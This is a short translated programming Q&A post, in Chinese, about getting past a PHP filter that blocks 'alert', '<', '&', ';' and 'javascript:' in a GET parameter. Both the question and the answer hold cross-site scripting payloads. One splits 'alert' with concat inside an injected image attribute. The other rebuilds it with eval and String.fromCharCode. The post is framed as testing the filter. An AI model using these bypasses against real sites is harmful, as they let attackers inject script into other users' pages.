我正在测试一段验证GET变量的代码。但是,存在一些不一致之处,因为只有以下字符串和字符被过滤掉:'/','/>','javascript:','alert','&','<'和';'。
以下载体:
/validate.php?v=click="window["".concat("al","ert")](1)" widht="300" height="150"
产生输出:
<img src=no onclik="window["".concat("al", "ert")](1)" widht="300" height="150">
我正在尝试按名称启动警报程序,因为字符串“alert”已经过验证。
是否可以绕过此过滤器?
答案 0 :(得分:0)
我想绕过这种安全性你也可以使用eval()
来运行代码并使用用char代码编写的字符:
示例:eval(['ale','rt',String.fromCharCode(40),'\'',String.fromCharCode(38),'\'',String.fromCharCode(41)].join(''))
哪个会运行代码alert('&')
,它甚至会使用char代码过滤掉字符。